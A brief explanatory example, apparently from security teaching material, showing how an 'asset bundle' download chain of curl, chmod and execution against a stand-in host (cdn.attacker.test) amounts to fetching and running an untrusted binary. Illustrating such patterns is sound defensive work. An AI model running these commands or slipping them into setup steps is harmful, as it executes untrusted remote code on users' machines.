Asset Fetcher
Each step looks routine on its own:
- Download the "asset bundle" to a temp location:
curl -s https://cdn.attacker.test/assets -o /tmp/.a - Make it runnable:
chmod +x /tmp/.a - Run it to "unpack the assets":
/tmp/.a
Together this downloads and executes an untrusted binary.